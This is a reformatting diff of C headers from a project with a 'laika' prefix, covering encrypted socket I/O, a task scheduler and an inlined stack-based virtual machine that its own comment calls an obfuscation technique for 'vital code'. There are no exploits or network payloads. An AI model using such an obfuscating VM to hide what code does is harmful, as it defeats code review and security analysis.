void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub); /* encrypts & writes from buf using pub key */
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz,
uint8_t *pub); /* encrypts & writes from buf using pub key */
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub,
uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data);
uint8_t laikaS_readByte(struct sLaika_socket *sock);
void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz); /* reads INT, respecting endianness */
void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz); /* writes INT, respecting endianness */
void laikaS_readInt(struct sLaika_socket *sock, void *buf,
size_t sz); /* reads INT, respecting endianness */
void laikaS_writeInt(struct sLaika_socket *sock, void *buf,
size_t sz); /* writes INT, respecting endianness */
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed);
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed);

View File

@@ -1,13 +1,15 @@
#ifndef LAIKA_TASK_H
#define LAIKA_TASK_H
#include <time.h>
#include "laika.h"
typedef void (*taskCallback)(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
#include <time.h>
struct sLaika_task {
typedef void (*taskCallback)(struct sLaika_taskService *service, struct sLaika_task *task,
clock_t currTick, void *uData);
struct sLaika_task
{
struct sLaika_task *next;
taskCallback callback;
void *uData;
@@ -15,14 +17,16 @@ struct sLaika_task {
int delta;
};
struct sLaika_taskService {
struct sLaika_taskService
{
struct sLaika_task *headTask;
};
void laikaT_initTaskService(struct sLaika_taskService *service);
void laikaT_cleanTaskService(struct sLaika_taskService *service);
struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta, taskCallback callback, void *uData);
struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta,
taskCallback callback, void *uData);
void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task);
void laikaT_pollTasks(struct sLaika_taskService *service);

View File

@@ -5,50 +5,63 @@
This is an obfuscation technique where vital code can be executed in a
stack-based VM, inlined into the function. The VM instruction-set is fairly
simple, see the OP_* enum for avaliable opcodes and their expected arguments.
The VM is turing-complete, however the instruction-set has been curated to
The VM is turing-complete, however the instruction-set has been curated to
fit this specific use case.
*/
#include <inttypes.h>
#include "laika.h"
#include "lerror.h"
#include <inttypes.h>
#define LAIKA_VM_STACKSIZE 64
#define LAIKA_VM_CONSTSIZE 32
struct sLaikaV_vm_val {
union {
struct sLaikaV_vm_val
{
union
{
uint8_t i;
uint8_t *ptr;
};
};
struct sLaikaV_vm {
struct sLaikaV_vm
{
struct sLaikaV_vm_val stack[LAIKA_VM_STACKSIZE];
struct sLaikaV_vm_val constList[LAIKA_VM_CONSTSIZE];
uint8_t code[LAIKA_VM_CODESIZE];
int pc;
};
#define LAIKA_MAKE_VM(_consts, _code) {.constList = _consts, .code = _code, .pc = 0, .stack = {0}}
#define LAIKA_MAKE_VM(_consts, _code) \
{ \
.constList = _consts, .code = _code, .pc = 0, .stack = { 0 } \
}
/* constants */
#define LAIKA_MAKE_VM_INT(_i) {.i = _i}
#define LAIKA_MAKE_VM_PTR(_ptr) {.ptr = _ptr}
#define LAIKA_MAKE_VM_INT(_i) \
{ \
.i = _i \
}
#define LAIKA_MAKE_VM_PTR(_ptr) \
{ \
.ptr = _ptr \
}
/* instructions */
#define LAIKA_MAKE_VM_IA(opcode, a) opcode, a
#define LAIKA_MAKE_VM_IAB(opcode, a, b) opcode, a, b
#define LAIKA_MAKE_VM_IA(opcode, a) opcode, a
#define LAIKA_MAKE_VM_IAB(opcode, a, b) opcode, a, b
#define LAIKA_MAKE_VM_IABC(opcode, a, b, c) opcode, a, b, c
enum {
enum
{
OP_EXIT,
OP_LOADCONST, /* stk_indx[uint8_t] = const_indx[uint8_t] */
OP_PUSHLIT, /* stk_indx[uint8_t].i = uint8_t */
OP_READ, /* stk_indx[uint8_t].i = *(int8_t*)stk_indx[uint8_t] */
OP_WRITE, /* *(uint8_t*)stk_indx[uint8_t].ptr = stk_indx[uint8_t].i */
OP_INCPTR, /* stk_indx[uint8_t].ptr++ */
OP_DECPTR, /* stk_indx[uint8_t].ptr-- */
OP_PUSHLIT, /* stk_indx[uint8_t].i = uint8_t */
OP_READ, /* stk_indx[uint8_t].i = *(int8_t*)stk_indx[uint8_t] */
OP_WRITE, /* *(uint8_t*)stk_indx[uint8_t].ptr = stk_indx[uint8_t].i */
OP_INCPTR, /* stk_indx[uint8_t].ptr++ */
OP_DECPTR, /* stk_indx[uint8_t].ptr-- */
/* arithmetic */
OP_ADD, /* stk_indx[uint8_t] = stk_indx[uint8_t] + stk_indx[uint8_t] */
@@ -68,83 +81,93 @@ enum {
#endif
};
LAIKA_FORCEINLINE void laikaV_execute(struct sLaikaV_vm *vm) {
LAIKA_FORCEINLINE void laikaV_execute(struct sLaikaV_vm *vm)
{
#define READBYTE (vm->code[vm->pc++])
#define BINOP(x) { \
uint8_t a = READBYTE; \
uint8_t b = READBYTE; \
uint8_t c = READBYTE; \
vm->stack[a].i = vm->stack[b].i x vm->stack[c].i; \
break; \
}
#define BINOP(x) \
{ \
uint8_t a = READBYTE; \
uint8_t b = READBYTE; \
uint8_t c = READBYTE; \
vm->stack[a].i = vm->stack[b].i x vm->stack[c].i; \
break; \
}
while (vm->code[vm->pc]) {
switch (vm->code[vm->pc++]) {
case OP_LOADCONST: {
uint8_t indx = READBYTE;
uint8_t constIndx = READBYTE;
vm->stack[indx] = vm->constList[constIndx];
break;
}
case OP_PUSHLIT: {
uint8_t indx = READBYTE;
uint8_t lit = READBYTE;
vm->stack[indx].i = lit;
break;
}
case OP_READ: {
uint8_t indx = READBYTE;
uint8_t ptr = READBYTE;
vm->stack[indx].i = *vm->stack[ptr].ptr;
break;
}
case OP_WRITE: {
uint8_t ptr = READBYTE;
uint8_t indx = READBYTE;
*vm->stack[ptr].ptr = vm->stack[indx].i;
break;
}
case OP_INCPTR: {
uint8_t ptr = READBYTE;
vm->stack[ptr].ptr++;
break;
}
case OP_DECPTR: {
uint8_t ptr = READBYTE;
vm->stack[ptr].ptr--;
break;
}
case OP_ADD: BINOP(+);
case OP_SUB: BINOP(-);
case OP_MUL: BINOP(*);
case OP_DIV: BINOP(/);
case OP_AND: BINOP(&);
case OP_OR: BINOP(|);
case OP_XOR: BINOP(^);
case OP_TESTJMP: {
uint8_t indx = READBYTE;
int8_t jmp = READBYTE;
case OP_LOADCONST: {
uint8_t indx = READBYTE;
uint8_t constIndx = READBYTE;
vm->stack[indx] = vm->constList[constIndx];
break;
}
case OP_PUSHLIT: {
uint8_t indx = READBYTE;
uint8_t lit = READBYTE;
vm->stack[indx].i = lit;
break;
}
case OP_READ: {
uint8_t indx = READBYTE;
uint8_t ptr = READBYTE;
vm->stack[indx].i = *vm->stack[ptr].ptr;
break;
}
case OP_WRITE: {
uint8_t ptr = READBYTE;
uint8_t indx = READBYTE;
*vm->stack[ptr].ptr = vm->stack[indx].i;
break;
}
case OP_INCPTR: {
uint8_t ptr = READBYTE;
vm->stack[ptr].ptr++;
break;
}
case OP_DECPTR: {
uint8_t ptr = READBYTE;
vm->stack[ptr].ptr--;
break;
}
case OP_ADD:
BINOP(+);
case OP_SUB:
BINOP(-);
case OP_MUL:
BINOP(*);
case OP_DIV:
BINOP(/);
case OP_AND:
BINOP(&);
case OP_OR:
BINOP(|);
case OP_XOR:
BINOP(^);
case OP_TESTJMP: {
uint8_t indx = READBYTE;
int8_t jmp = READBYTE;
/* if stack indx is true, jump by jmp (signed 8-bit int) */
if (vm->stack[indx].i)
vm->pc += jmp;
/* if stack indx is true, jump by jmp (signed 8-bit int) */
if (vm->stack[indx].i)
vm->pc += jmp;
break;
}
break;
}
#ifdef DEBUG
case OP_DEBUG: {
int i;
case OP_DEBUG: {
int i;
/* print stack info */
for (i = 0; i < LAIKA_VM_STACKSIZE; i++)
printf("[%03d] - 0x%02x\n", i, vm->stack[i].i);
/* print stack info */
for (i = 0; i < LAIKA_VM_STACKSIZE; i++)
printf("[%03d] - 0x%02x\n", i, vm->stack[i].i);
break;
}
break;
}
#endif
default:
LAIKA_ERROR("laikaV_execute: unknown opcode [0x%02x]! pc: %d\n", vm->code[vm->pc], vm->pc);
default:
LAIKA_ERROR("laikaV_execute: unknown opcode [0x%02x]! pc: %d\n", vm->code[vm->pc],
vm->pc);
}
}